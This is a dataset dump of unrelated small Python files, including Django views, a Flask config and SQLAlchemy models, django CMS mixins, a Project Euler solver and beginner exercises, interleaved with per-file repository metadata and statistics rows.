queryset = Matricula.objects.filter(curso_id = self.kwargs['pk'])
return queryset
serializer_class = MatriculasCursoSerializer
authentication_classes = [BasicAuthentication]
permission_classes = [IsAuthenticated]
| 39.54902 | 137 | 0.774417 | 195 | 2,017 | 7.897436 | 0.4 | 0.064935 | 0.12987 | 0.162338 | 0.41039 | 0.364935 | 0.318182 | 0.118182 | 0 | 0 | 0 | 0.008178 | 0.151215 | 2,017 | 50 | 138 | 40.34 | 0.891355 | 0.155677 | 0 | 0.411765 | 0 | 0 | 0.002391 | 0 | 0 | 0 | 0 | 0.02 | 0 | 1 | 0.058824 | false | 0 | 0.147059 | 0 | 0.941176 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
5a27099cd6570435a7acd2df360b7dd35dadf44c | 1,217 | py | Python | config.py | youralphadevelopers/RedditClone | 14f652fd5f57bb31d6910d0d078c9765b4e3e25e | [
"MIT"
] | null | null | null | config.py | youralphadevelopers/RedditClone | 14f652fd5f57bb31d6910d0d078c9765b4e3e25e | [
"MIT"
] | null | null | null | config.py | youralphadevelopers/RedditClone | 14f652fd5f57bb31d6910d0d078c9765b4e3e25e | [
"MIT"
] | null | null | null | import os
basedir = os.path.abspath(os.path.dirname(__file__))
class Config:
SECRET_KEY = os.environ.get('SECRET_KEY') or 'hard to guess'
SQLALCHEMY_TRACK_MODIFICATIONS = os.environ.get('SQLALCHEMY_TRACK_MODIFICATIONS') or False
MAIL_SERVER = os.environ.get('MAIL_SERVER')
MAIL_PORT = os.environ.get('MAIL_PORT')
MAIL_USE_TLS = os.environ.get('MAIL_USE_TLS')
MAIL_USE_SSL = os.environ.get('MAIL_USE_SSL')
MAIL_USERNAME = os.environ.get('MAIL_USERNAME')
MAIL_PASSWORD = os.environ.get('MAIL_PASSWORD')
DEFAULT_MAIL_SENDER = os.environ.get('DEFAULT_MAIL_SENDER')
@staticmethod
def init_app(app):
pass
class DevelopmentConfig(Config):
SQLALCHEMY_DATABASE_URI = os.environ.get('DEV_DATABASE_URI') or 'sqlite:///' + os.path.join(basedir, 'dev.db')
DEBUG = True
class TestingConfig(Config):
TESTING = True
SQLALCHEMY_DATABASE_URI = os.environ.get('TEST_DATABASE_URI') or 'sqlite:///'
config = {
'development': DevelopmentConfig,
'testing': TestingConfig,
'default': DevelopmentConfig
}
| 35.794118 | 114 | 0.630238 | 140 | 1,217 | 5.2 | 0.35 | 0.135989 | 0.181319 | 0.131868 | 0.142857 | 0.090659 | 0 | 0 | 0 | 0 | 0 | 0 | 0.258012 | 1,217 | 33 | 115 | 36.878788 | 0.806202 | 0 | 0 | 0 | 0 | 0 | 0.185703 | 0.024651 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038462 | false | 0.076923 | 0.038462 | 0 | 0.692308 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
5a29693712c2c6762252c270bfa92300b785b411 | 481 | py | Python | djangocms_frontend/contrib/collapse/frameworks/bootstrap5.py | fsbraun/djangocms-bootstrap5 | 368f736fa1ce264086493153a256eb90dd8c4df0 | [
"BSD-3-Clause"
] | 7 | 2022-01-28T14:21:14.000Z | 2022-03-29T20:07:11.000Z | djangocms_frontend/contrib/collapse/frameworks/bootstrap5.py | marksweb/djangocms-frontend | c74130cbd15cfacb588933bb4adaf1a7d780daaf | [
"BSD-3-Clause"
] | 13 | 2022-02-23T21:10:07.000Z | 2022-03-30T08:33:20.000Z | djangocms_frontend/contrib/collapse/frameworks/bootstrap5.py | marksweb/djangocms-frontend | c74130cbd15cfacb588933bb4adaf1a7d780daaf | [
"BSD-3-Clause"
] | 2 | 2022-02-07T14:48:11.000Z | 2022-02-23T23:55:18.000Z | class CollapseRenderMixin:
render_template = "djangocms_frontend/bootstrap5/collapse.html"
class CollapseContainerRenderMixin:
render_template = "djangocms_frontend/bootstrap5/collapse-container.html"
def render(self, context, instance, placeholder):
instance.add_classes("collapse")
return super().render(context, instance, placeholder)
class CollapseTriggerRenderMixin:
render_template = "djangocms_frontend/bootstrap5/collapse-trigger.html"
| 32.066667 | 77 | 0.785863 | 45 | 481 | 8.244444 | 0.488889 | 0.113208 | 0.185984 | 0.250674 | 0.396226 | 0.396226 | 0 | 0 | 0 | 0 | 0 | 0.00716 | 0.128898 | 481 | 14 | 78 | 34.357143 | 0.878282 | 0 | 0 | 0 | 0 | 0 | 0.322245 | 0.305613 | 0 | 0 | 0 | 0 | 0 | 1 | 0.111111 | false | 0 | 0 | 0 | 0.888889 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
5a2c55027bf5c00119e3ee2167fdf0a41d3e082b | 414 | py | Python | PE064.py | CaptainSora/Python-Project-Euler | 056400f434eec837ece5ef06653b310ebfcc3d4e | [
"MIT"
] | null | null | null | PE064.py | CaptainSora/Python-Project-Euler | 056400f434eec837ece5ef06653b310ebfcc3d4e | [
"MIT"
] | null | null | null | PE064.py | CaptainSora/Python-Project-Euler | 056400f434eec837ece5ef06653b310ebfcc3d4e | [
"MIT"
] | null | null | null | from math import floor, sqrt
from _cont_frac_tools import CF
def find_odd_period(ceiling):
"""
Returns the number of continued fractions of sqrt(n) for n <= ceiling
which have an odd period.
"""
# len(CF(a)) is one larger than the period of sqrt(a)
return len([
a for a in range(2, ceiling + 1) if len(CF(a)) % 2 == 0
])
def solve(vol=0):
return find_odd_period(10000)
| 21.789474 | 73 | 0.640097 | 70 | 414 | 3.685714 | 0.585714 | 0.104651 | 0.100775 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032468 | 0.256039 | 414 | 18 | 74 | 23 | 0.805195 | 0.357488 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.125 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
5a4d10b78e66952ac2e6026188513065bc0c61cd | 1,068 | py | Python | files/Utilities/AutoDMG.app/Contents/Resources/IEDLogLine.py | samdoran/ansible-role-macos-server | a401b8d10914fd6208e681b971204184e6fab7e2 | [
"MIT"
] | null | null | null | files/Utilities/AutoDMG.app/Contents/Resources/IEDLogLine.py | samdoran/ansible-role-macos-server | a401b8d10914fd6208e681b971204184e6fab7e2 | [
"MIT"
] | null | null | null | files/Utilities/AutoDMG.app/Contents/Resources/IEDLogLine.py | samdoran/ansible-role-macos-server | a401b8d10914fd6208e681b971204184e6fab7e2 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
#
# IEDLogLine.py
# AutoDMG
#
# Created by Pelle on 2013-10-28.
# Copyright 2013-2014 Per Olofsson, University of Gothenburg. All rights reserved.
#
from Foundation import *
class IEDLogLine(NSObject):
def init(self):
self = super(IEDLogLine, self).init()
if self is None:
return None
self._date = NSDate.date()
self._message = u""
self._level = 0
return self
def initWithMessage_level_(self, message, level):
self = self.init()
if self is None:
return None
self._message = message
self._level = level
return self
def date(self):
return self._date
def setDate(self, date):
self._date = date
def message(self):
return self._message
def setMessage(self, message):
self._message = message
def level(self):
return self._level
def setLevel(self, level):
self._level = level
| 20.150943 | 83 | 0.552434 | 118 | 1,068 | 4.889831 | 0.389831 | 0.114385 | 0.07279 | 0.048527 | 0.117851 | 0.117851 | 0.117851 | 0.117851 | 0.117851 | 0 | 0 | 0.026316 | 0.359551 | 1,068 | 52 | 84 | 20.538462 | 0.817251 | 0.149813 | 0 | 0.344828 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.275862 | false | 0 | 0.034483 | 0.103448 | 0.586207 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
5a4d3a73a73c20af6b8778e9e9698c46a909cc09 | 174 | py | Python | youtube_search_api/urls.py | Dhruv9449/IEEE-recruitment | 27eee365ca9175f2e898fcf12a0ff281bb499c39 | [
"MIT"
] | null | null | null | youtube_search_api/urls.py | Dhruv9449/IEEE-recruitment | 27eee365ca9175f2e898fcf12a0ff281bb499c39 | [
"MIT"
] | null | null | null | youtube_search_api/urls.py | Dhruv9449/IEEE-recruitment | 27eee365ca9175f2e898fcf12a0ff281bb499c39 | [
"MIT"
] | null | null | null | from django.urls import path
from youtube_search_api import views
urlpatterns = [
path('', views.index, name='index'),
path('search/', views.search, name='index')
]
| 21.75 | 47 | 0.695402 | 23 | 174 | 5.173913 | 0.521739 | 0.151261 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.155172 | 174 | 7 | 48 | 24.857143 | 0.809524 | 0 | 0 | 0 | 0 | 0 | 0.097701 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
5a5be5bf9d5a1d49391470e569efc26610317f02 | 1,667 | py | Python | _assignments/design-patterns/protocol/protocol_descriptor_b.py | sages-pl/2022-01-pythonsqlalchemy-aptiv | 1d6d856608e9dbe25b139e8968c48b7f46753b84 | [
"MIT"
] | null | null | null | _assignments/design-patterns/protocol/protocol_descriptor_b.py | sages-pl/2022-01-pythonsqlalchemy-aptiv | 1d6d856608e9dbe25b139e8968c48b7f46753b84 | [
"MIT"
] | null | null | null | _assignments/design-patterns/protocol/protocol_descriptor_b.py | sages-pl/2022-01-pythonsqlalchemy-aptiv | 1d6d856608e9dbe25b139e8968c48b7f46753b84 | [
"MIT"
] | null | null | null | """
* Assignment: Protocol Descriptor ValueRange
* Complexity: easy
* Lines of code: 9 lines
* Time: 13 min
English:
1. Define descriptor class `ValueRange` with attributes:
a. `name: str`
b. `min: float`
c. `max: float`
d. `value: float`
2. Define class `Astronaut` with attributes:
a. `age = ValueRange('Age', min=28, max=42)`
b. `height = ValueRange('Height', min=150, max=200)`
3. Setting `Astronaut` attribute should invoke boundary check of `ValueRange`
4. Run doctests - all must succeed
Polish:
1. Zdefiniuj klasę-deskryptor `ValueRange` z atrybutami:
a. `name: str`
b. `min: float`
c. `max: float`
d. `value: float`
2. Zdefiniuj klasę `Astronaut` z atrybutami:
a. `age = ValueRange('Age', min=28, max=42)`
b. `height = ValueRange('Height', min=150, max=200)`
3. Ustawianie atrybutu `Astronaut` powinno wywołać sprawdzanie zakresu z `ValueRange`
6. Uruchom doctesty - wszystkie muszą się powieść
Tests:
>>> import sys; sys.tracebacklimit = 0
>>> mark = Astronaut('Mark Watney', 36, 170)
>>> melissa = Astronaut('Melissa Lewis', 44, 170)
Traceback (most recent call last):
ValueError: Age is not between 28 and 42
>>> alex = Astronaut('Alex Vogel', 40, 201)
Traceback (most recent call last):
ValueError: Height is not between 150 and 200
"""
class ValueRange:
name: str
min: float
max: float
value: float
def __init__(self, name, min, max):
pass
class Astronaut:
age = ValueRange('Age', min=28, max=42)
height = ValueRange('Height', min=150, max=200)
| 27.783333 | 89 | 0.626875 | 214 | 1,667 | 4.864486 | 0.457944 | 0.020173 | 0.04611 | 0.054755 | 0.322767 | 0.322767 | 0.251681 | 0.194044 | 0.194044 | 0.194044 | 0 | 0.053729 | 0.25195 | 1,667 | 59 | 90 | 28.254237 | 0.781075 | 0.844031 | 0 | 0 | 0 | 0 | 0.036 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0.1 | 0 | 0 | 0.9 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
5a64106207ff265d43ee2e8fe3d3e763332d8ddf | 367 | py | Python | desafio016.py | isaiasramos97/cursoemvideo-python | 2e5072a686819f4c132f48468c507ec4c3be972d | [
"MIT"
] | null | null | null | desafio016.py | isaiasramos97/cursoemvideo-python | 2e5072a686819f4c132f48468c507ec4c3be972d | [
"MIT"
] | null | null | null | desafio016.py | isaiasramos97/cursoemvideo-python | 2e5072a686819f4c132f48468c507ec4c3be972d | [
"MIT"
] | null | null | null | # Crie um programa que leia um numero qualquer pelo teclado e mostre na tela a sua porção inteira.
''' from math import floor, trunc
num = float(input('Digite um número com casas decimais: '))
print(f'\nA porção inteira de {num} é {floor(num)}.')'''
# ou
num = float(input('Digite um número com casas decimais: '))
print(f'\nA porção inteira de {num} é {int(num)}.') | 45.875 | 98 | 0.702997 | 62 | 367 | 4.16129 | 0.580645 | 0.151163 | 0.100775 | 0.147287 | 0.542636 | 0.542636 | 0.542636 | 0.542636 | 0.542636 | 0.542636 | 0 | 0 | 0.160763 | 367 | 8 | 99 | 45.875 | 0.837662 | 0.66485 | 0 | 0 | 0 | 0 | 0.678261 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
5a6b8033647fabf30f924de52592ea673e8914d5 | 487 | py | Python | syntax/tuples/tupleMethodsExample.py | Dev-Learn/LearnPython | a601f5eeeb05236a3e179bf8c34425a95cb0c919 | [
"Apache-2.0"
] | null | null | null | syntax/tuples/tupleMethodsExample.py | Dev-Learn/LearnPython | a601f5eeeb05236a3e179bf8c34425a95cb0c919 | [
"Apache-2.0"
] | null | null | null | syntax/tuples/tupleMethodsExample.py | Dev-Learn/LearnPython | a601f5eeeb05236a3e179bf8c34425a95cb0c919 | [
"Apache-2.0"
] | null | null | null | years = (1990, 1991, 1993, 1991, 1993, 1993, 1993)
print("Years: ", years)
print("\n")
# Trả về số lần xuất hiện của 1993
print("years.count(1993): ", years.count(1993))
# Tìm vị trí xuất hiện 1993
print("years.index(1993): ", years.index(1993))
# Tìm vị trí xuất hiện 1993, bắt đầu từ chỉ số 3
print("years.index(1993, 3): ", years.index(1993, 3))
# Tìm vị trí xuất hiện 1993, bắt đầu từ chỉ số 4 tới 5 (Không bao gồm 6)
print("years.index(1993, 4, 6): ", years.index(1993, 4, 6)) | 28.647059 | 72 | 0.659138 | 91 | 487 | 3.527473 | 0.32967 | 0.186916 | 0.261682 | 0.11215 | 0.392523 | 0.292835 | 0.292835 | 0.205607 | 0.205607 | 0.205607 | 0 | 0.2134 | 0.172485 | 487 | 17 | 73 | 28.647059 | 0.583127 | 0.361396 | 0 | 0 | 0 | 0 | 0.306189 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.857143 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
5a7fc863064fca7e35fc8959aaf15683082c6576 | 492 | py | Python | setup.py | BostonKenne/cloaker | 02e3a9877f86964ef624d75d04fdb780f95bee68 | [
"MIT"
] | null | null | null | setup.py | BostonKenne/cloaker | 02e3a9877f86964ef624d75d04fdb780f95bee68 | [
"MIT"
] | null | null | null | setup.py | BostonKenne/cloaker | 02e3a9877f86964ef624d75d04fdb780f95bee68 | [
"MIT"
] | null | null | null | from setuptools import setup
setup(
name="cloaker",
version="0.0.1",
description="Simple keycloak client for python",
py_modules=["cloaker"],
package_dir={'': 'src'},
classifiers=[
"Programming Language :: Python :: 3",
"Programming Language :: Python :: 3.6",
"Programming Language :: Python :: 3.7",
"License :: OSI Approved :: GNU General Public License v2 or later (GPLv2+)",
"Operating System :: OS Independent",
],
)
| 28.941176 | 85 | 0.601626 | 53 | 492 | 5.54717 | 0.754717 | 0.193878 | 0.255102 | 0.265306 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0271 | 0.25 | 492 | 16 | 86 | 30.75 | 0.769648 | 0 | 0 | 0 | 0 | 0 | 0.552846 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.066667 | 0 | 0.066667 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ce4c62de4cb2b5159de3dab5aae4163852dd4cee | 236 | gyp | Python | binding.gyp | mikesmiley/lzh | 9ed1946a3f6c7d124ee90c3a1fd4123b7418be57 | [
"MIT"
] | 10 | 2015-10-25T08:39:46.000Z | 2021-08-04T04:15:50.000Z | binding.gyp | mikesmiley/lzh | 9ed1946a3f6c7d124ee90c3a1fd4123b7418be57 | [
"MIT"
] | null | null | null | binding.gyp | mikesmiley/lzh | 9ed1946a3f6c7d124ee90c3a1fd4123b7418be57 | [
"MIT"
] | 1 | 2021-12-09T11:53:10.000Z | 2021-12-09T11:53:10.000Z | {
"targets": [
{
"target_name": "lzh",
"sources": [ "src/binding.cc", "src/lzh.c" ],
"include_dirs": [
"<!(node -e \"require('nan')\")",
"<!(node -e \"require('cpp-debug')\")"
]
}
]
}
| 18.153846 | 51 | 0.398305 | 22 | 236 | 4.181818 | 0.772727 | 0.108696 | 0.26087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.317797 | 236 | 12 | 52 | 19.666667 | 0.571429 | 0 | 0 | 0 | 0 | 0 | 0.427966 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
ce5129a5b395704d067ad2ffa66e7203c21cbaaf | 3,885 | py | Python | app/models.py | JoyWambui/write-a-way | 2b535406f5c62722d478db8c186562009cf50e65 | [
"MIT"
] | null | null | null | app/models.py | JoyWambui/write-a-way | 2b535406f5c62722d478db8c186562009cf50e65 | [
"MIT"
] | null | null | null | app/models.py | JoyWambui/write-a-way | 2b535406f5c62722d478db8c186562009cf50e65 | [
"MIT"
] | null | null | null | from . import db, login_manager
from datetime import datetime
from werkzeug.security import generate_password_hash,check_password_hash
from flask_login import UserMixin
@login_manager.user_loader
def load_user(user_id):
return User.query.get(user_id)
class User(UserMixin,db.Model):
"""Class that defines the User Model and its methods."""
__tablename__='users'
id = db.Column(db.Integer,primary_key=True)
username = db.Column(db.String(25), unique=True,nullable=False)
user_email = db.Column(db.String(120), unique=True,nullable=False)
user_password = db.Column(db.String(255), unique=True,nullable=False)
user_bio = db.Column(db.Text(),nullable=True)
user_account_image= db.Column(db.String(),nullable=True)
user_posts= db.relationship('Post',backref='author',lazy=True)
#Setting password and its hash
@property
def password(self):
raise AttributeError('This attribute cannot be accessed.')
@password.setter
def password(self,password):
self.user_password = generate_password_hash(password)
def verify_password_hash(self,password):
return check_password_hash(self.user_password,password)
def __repr__(self):
return f"User('{self.username}','{self.user_email}')"
class Post(db.Model):
"""Class that defines the Blog Post Model and its methods."""
__tablename__='posts'
id = db.Column(db.Integer,primary_key=True)
post_title= db.Column(db.String(60),nullable=False)
post_content= db.Column(db.Text,nullable=False)
post_creation = db.Column(db.DateTime,nullable=False,default=datetime.utcnow)
user_id = db.Column(db.Integer, db.ForeignKey('users.id'),nullable=False)
post_comments= db.relationship('Comment', cascade='all,delete,delete-orphan',backref='comment',lazy=True)
def __repr__(self):
return f"Post('{self.post_title}','{self.post_creation}')"
def save_posts(self):
"""Saves new posts to the database."""
db.session.add(self)
db.session.commit()
@classmethod
def get_user_posts(self,id):
"""Gets all a user's posts."""
got_posts= Post.query.filter_by(user_id=id).all()
return got_posts
@classmethod
def get_all_posts(self):
"""Gets all posts."""
all_posts= Post.query.all()
return all_posts
class Comment(db.Model):
"""Class that defines the Comment Model and its methods."""
__tablename__='comments'
id = db.Column(db.Integer,primary_key=True)
comment_title= db.Column(db.String(60),nullable=False)
comment_author= db.Column(db.String(60),nullable=False)
comment_content= db.Column(db.Text,nullable=False)
comment_creation = db.Column(db.DateTime,nullable=False,default=datetime.utcnow)
post_id = db.Column(db.Integer, db.ForeignKey('posts.id', ondelete='CASCADE'),nullable=False)
def save_comment(self):
"""Saves new comments to the database."""
db.session.add(self)
try:
db.session.commit()
except:
db.session.rollback()
@classmethod
def get_post_comments(self,id):
"""Gets all a post's comments."""
got_comments= Comment.query.filter_by(post_id=id).all()
return got_comments
class Subscription(db.Model):
"""Class that defines the Subscription Model and its methods."""
__tablename__='subscriptions'
id = db.Column(db.Integer,primary_key=True)
name = db.Column(db.String(25), unique=True,nullable=False)
email = db.Column(db.String(120), unique=True,nullable=False)
class Quote:
"""Defines a quote object."""
def __init__(self,id,author,random_quote,permalink):
self.id = id
self.author = author
self.random_quote = random_quote
self.permalink = permalink
| 36.650943 | 109 | 0.678507 | 518 | 3,885 | 4.913127 | 0.214286 | 0.062868 | 0.078585 | 0.056582 | 0.431434 | 0.32888 | 0.288016 | 0.214145 | 0.116306 | 0.084086 | 0 | 0.00609 | 0.196911 | 3,885 | 105 | 110 | 37 | 0.809615 | 0.105792 | 0 | 0.171053 | 1 | 0 | 0.066316 | 0.033596 | 0 | 0 | 0 | 0 | 0 | 1 | 0.157895 | false | 0.105263 | 0.052632 | 0.052632 | 0.710526 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
ce56bb4137d234115540c7c831e8c6c0d037d45d | 445 | py | Python | pds_github_util/utils/argparse.py | NASA-PDS/pds-github-util | 155f60532a02bcbc7a9664b8a170a2e7ab0463d1 | [
"Apache-2.0"
] | null | null | null | pds_github_util/utils/argparse.py | NASA-PDS/pds-github-util | 155f60532a02bcbc7a9664b8a170a2e7ab0463d1 | [
"Apache-2.0"
] | 42 | 2020-09-17T17:30:40.000Z | 2022-03-31T21:09:19.000Z | pds_github_util/utils/argparse.py | NASA-PDS/pds-github-util | 155f60532a02bcbc7a9664b8a170a2e7ab0463d1 | [
"Apache-2.0"
] | 3 | 2020-08-12T23:02:40.000Z | 2021-09-30T11:57:59.000Z | # encoding: utf-8
'''😡 Argument parsing utilities'''
from argparse import ArgumentParser
from pds_github_util import __version__
def addStandardArguments(parser: ArgumentParser):
'''Add a set of standard command-line arguments to the given ``parser``. Currently, the
standard consits of:
• ``--version``, to give the standard version metadata
'''
parser.add_argument('--version', action='version', version=__version__)
| 26.176471 | 91 | 0.72809 | 54 | 445 | 5.833333 | 0.648148 | 0.069841 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002681 | 0.161798 | 445 | 16 | 92 | 27.8125 | 0.836461 | 0.465169 | 0 | 0 | 0 | 0 | 0.074766 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.5 | 0 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
ce590b99798f88878034bb1bfc71e2020bb02f5c | 15,518 | py | Python | sptemp/_texts.py | BaumannDaniel/sptemp | 5491fe7d10a1f984753ba4792405fc17af20fcf0 | [
"MIT"
] | null | null | null | sptemp/_texts.py | BaumannDaniel/sptemp | 5491fe7d10a1f984753ba4792405fc17af20fcf0 | [
"MIT"
] | null | null | null | sptemp/_texts.py | BaumannDaniel/sptemp | 5491fe7d10a1f984753ba4792405fc17af20fcf0 | [
"MIT"
] | null | null | null |
class TP_Texts:
# __init__()
init_error1 = "Start and End must be of type datetime.datetime!"
init_error2 = "End must be larger than start!"
# start()
start_error1 = "Time must be of type datetime.datetime!"
start_error2 = "start must be smaller than end of Time_Period!"
# end()
end_error1 = "end must be larger than start of TimePeriod!"
# general
general_error1 = "'another' must be of type datetime.datetime or sptemp.zeit.Time_Period!"
general_error2 = "'another' must be of type sptemp.zeit.Time_Period!"
class TS_Texts:
# __init__()
init_error1 = "ts must be of type datetime.datetime or sptemp.zeit.Time_Period!"
# value()
v_error1 = "value must be of same type as old value of the TS_Object!"
class Unit_Texts:
# __init__()
init_error1 = "value must be of type 'types.FunctionType'!"
init_error2 = "ts must be of type sptemp.zeit.Time_Period!"
#interpolate()
i_error1 = "start_ts AND end_ts must be of type sptemp.zeit.TS_Object!"
i_error2 = "Time must be of type datetime.datetime!"
i_error3 = "start_ts.end_time() must be included in self.ts!"
#i_error4 = "end_ts.start_time() must be included in self.ts!"
i_error5 = "time must be included in self.ts!"
class IP_Texts:
# __init__()
init_error1 = "Empty instantiation not possible!"
init_error2 = "ts_unit_list must be list holding objects of type sptemp.zeit.TS_Unit!"
init_error3 = "TS_Unit elements of ts_unit_list must be time-sorted and end_times of units must equal start_times of next unit!"
# setitem()
set_error1 = "Index must be of type integer! Slices not allowed"
set_error2 = "Value must be of type TS_Unit!"
set_error3 = "Index out of range!"
set_error4 = "Value must cover same time_period as the value it replaces!"
# delitem()
del_error1 = "Only first and last item can be deleted!"
del_error2 = "Interpolator object cannot be empty!"
# interpolate()
ip_error1 = "start_ts and end_ts must be of type sptemp.zeit.TS_Object!"
ip_error2 = "time must be of type datetime.datetime!"
ip_error3 = "start_ts.end_time() must be >= self.start_time()!"
ip_error4 = "time must be >= start_ts.end_time() and <= end_ts.start_time()!"
ip_error5 = "time must be >= self.start_time() and <= self.end_time()!"
ip_error6 = "start_ts.end_time() must be < end_ts.start_time()!"
# value()
val_error1 = "time must be of type datetime.datetime!"
# value()
slice_error1 = "time must be of type sptemp.zeit.Time_Period!"
slice_error2 = "slice produces empty Interpolator. Either time.start or time.end must be contained in timespan of Interpolator!"
# append()
app_error1 = "Value must be of type sptemp.zeit.TS_Unit!"
app_error2 = "Value.start_time() must equal Interpolator.end_time()"
# insert()
in_error1 = "Value must be of type sptemp.zeit.TS_Unit!"
in_error2 = "Either value.start_time() or value.end_time() must be >= Interpolator.start_time() and <= Interpolator.end_time()!"
# delete()
delete_error1 = "time must be of type sptemp.zeit.Time_Period!"
delete_error2 = "Interpolator object cannot be empty!"
delete_error3 = "Invalid time. Time must overlap Interpolator.start_time() or Interpolator.end_time()!"
class MO_Texts:
# init()
init_error1 = "Empty instantiation not possible!"
init_error2 = "ts_object_list must be list holding objects of type sptemp.zeit.TS_Object!"
init_error3 = "interpolator must be of type sptemp.zeit.Interpolator!"
init_error4 = "TS_Objects must have same type!"
init_error5 = "ts_object_list must be time-sorted and TS_Objects must be disjoint!"
# setitem()
set_error1 = "Index must be of type integer! Slices not allowed"
set_error2 = "Value must be of type TS_Object!"
set_error3 = "Value.type must be equal to self.type!"
set_error4 = "Index out of range!"
set_error5 = "Value and existing TS_Objects in Moving_Object are not disjoint!"
# delitem()
del_error1 = "key must be of type interger or slice!"
del_error2 = "Moving_Object cannot become empty!"
# interpolate()
i_error1 = "time must be of type datetime.datetime!"
i_error2 = "time must be >= self.start_time() and <= self.end_time()!"
i_error3 = "Interpolator must return TSO_object with same type as self.type!"
# slice()
slice_error1 = "Time must be of type sptemp.zeit.Time_Period!"
slice_error2 = "interpolator must be of type sptemp.zeit.Interpolator!"
slice_error3 = "Slice is empty!"
# resampled_slice()
re_slice_error1 = "Times must be of type slice!"
